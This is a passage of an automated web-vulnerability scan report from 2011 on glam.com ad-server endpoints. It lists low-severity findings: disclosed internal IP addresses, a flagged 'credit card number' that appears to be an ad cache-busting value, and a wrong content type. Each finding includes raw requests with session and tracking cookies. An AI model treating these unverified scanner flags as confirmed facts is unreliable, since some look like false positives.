Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1; qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000045036
X-Glam-Euid: efd00282fdbdb1167c2fb7db0eed0702
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:19:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:19:10 GMT
Content-Length: 3208
Connection: close



...[SNIP]...
'511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp57/172.30.0.62] for [www30a2.glam.com] at [Mon Jun 13 2011 4:19:10 PDT] */


document.write('<div>
...[SNIP]...

7.8. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;qc=D;qc=T;qc=5150;qc=3726;qc=2951;qc=2705;qc=2698;qc=2695;qc=2693;qc=2692;qc=2690;qc=1771;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;uv=10;;tt=j;u=b0032g2reou1ssci1k9,f0f02sa,g10001s;sz=728x90;tile=2;ord=4654773336369544;;afid=1000212071;dsid=864279;url=00l3it;seq=1;ux=f-f02sa,tid-2,pid-g2reou1ssci1k9,aid-3,g-64,1,;_glt=300:1:6:13:24:116:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/aboutcontact-us/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1; qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000042624
X-Glam-Euid: 7d90fa6f3101c8fade5f2bf750f33a43
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:13:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:13:24 GMT
Content-Length: 3571
Connection: close



...[SNIP]...
'511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp122/172.30.0.162] for [www30a2.glam.com] at [Mon Jun 13 2011 4:13:24 PDT] */


document.write('<script type=\"text/javascript\" src=\"http://altfarm.mediaplex.com/ad/js/17038-128465-20406-11?mpt=4df5f0d4b6b72&mpvc=htt
...[SNIP]...

7.9. http://www35.glam.com/gad/glamadapt_jsrv.act  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;qc=D;qc=T;qc=5150;qc=3726;qc=2951;qc=2705;qc=2698;qc=2695;qc=2693;qc=2692;qc=2690;qc=1771;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;uv=10;;tt=j;u=b0012fawbst1ssbzd4i,f0f02sa,g10001s;sz=160x600,120x600;tile=2;ord=4876240110024810;;afid=1000212071;dsid=864279;url=txanco;seq=1;ux=f-f02sa,tid-2,pid-fawbst1ssbzd4i,aid-1,g-64,1,;_glt=300:1:6:2:53:580:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1; qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000036879
X-Glam-Euid: 4e601faf039d7bb33507015141dc9237
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:03:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:03:01 GMT
Content-Length: 5020
Connection: close



...[SNIP]...
'511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp107/172.30.0.116] for [www30a2.glam.com] at [Mon Jun 13 2011 4:03:01 PDT] */


document.write('<IFRAME SRC=\"http://ad.doubleclick.net/adi/N553.Glam/B5345813.2;sz=160x600;pc=[TPAS_ID];click=http://www30a2.glam.com/gad
...[SNIP]...

8. Credit card numbers disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following credit card number was disclosed in the response:

Issue background

Responses containing credit card numbers may not represent any security vulnerability - for example, a number may belong to the logged-in user to whom it is displayed. You should verify whether the numbers identified are actually valid credit card numbers and whether their disclosure within the application is appropriate.

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;qc=D;qc=T;qc=5150;qc=3726;qc=2951;qc=2705;qc=2698;qc=2695;qc=2693;qc=2692;qc=2690;qc=1771;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;pt=sk;gsz=888x11:999,160x600:1;uv=10;;tt=j;u=b0011g2reou1ssci1k9,f0f02sa,g10001s;sz=160x600,120x600;tile=1;ord=4654773336369544;;afid=1000212071;dsid=864279;url=00l3it;seq=1;ux=f-f02sa,tid-1,pid-g2reou1ssci1k9,aid-1,g-64,1,;_glt=300:1:6:13:13:573:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/aboutcontact-us/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1; qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000036879
X-Glam-Euid: 09bdd73895bd3803918767154e79d853
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:13:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:13:14 GMT
Content-Length: 5753
Connection: close



...[SNIP]...
qc=2692;qc=2690;qc=1771;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;pt=sk;gsz=888x11:999,160x600:1;uv=10;;tt=j;u=b0011g2reou1ssci1k9,f0f02sa,g10001s;sz=160x600,120x600;tile=1;ord=4654773336369544;;afid=1000212071;dsid=864279;url=00l3it;seq=1;ux=f-f02sa,tid-1,pid-g2reou1ssci1k9,aid-1,g-64,1,;_glt=300:1:6:13:13:573:2011:6:13;a_tz=-300;_g_cv=2;;';
var vars = glam_affiliate_vars.split(";");
fo
...[SNIP]...

9. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www24a.glam.com
Path:   /appdir/resources/rendergadget.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /appdir/resources/rendergadget.js HTTP/1.1
Host: www24a.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/x-javascript
Last-Modified: Thu, 06 Jan 2011 23:52:24 GMT
Server: Jetty(6.1.21)
Vary: Accept-Encoding
Content-Length: 38
Cache-Control: public, max-age=377034
Date: Mon, 13 Jun 2011 11:02:09 GMT
Connection: close

if (window.Atako)Atako.renderGadget();

Report generated by XSS.CX at Mon Jun 13 08:08:11 CDT 2011.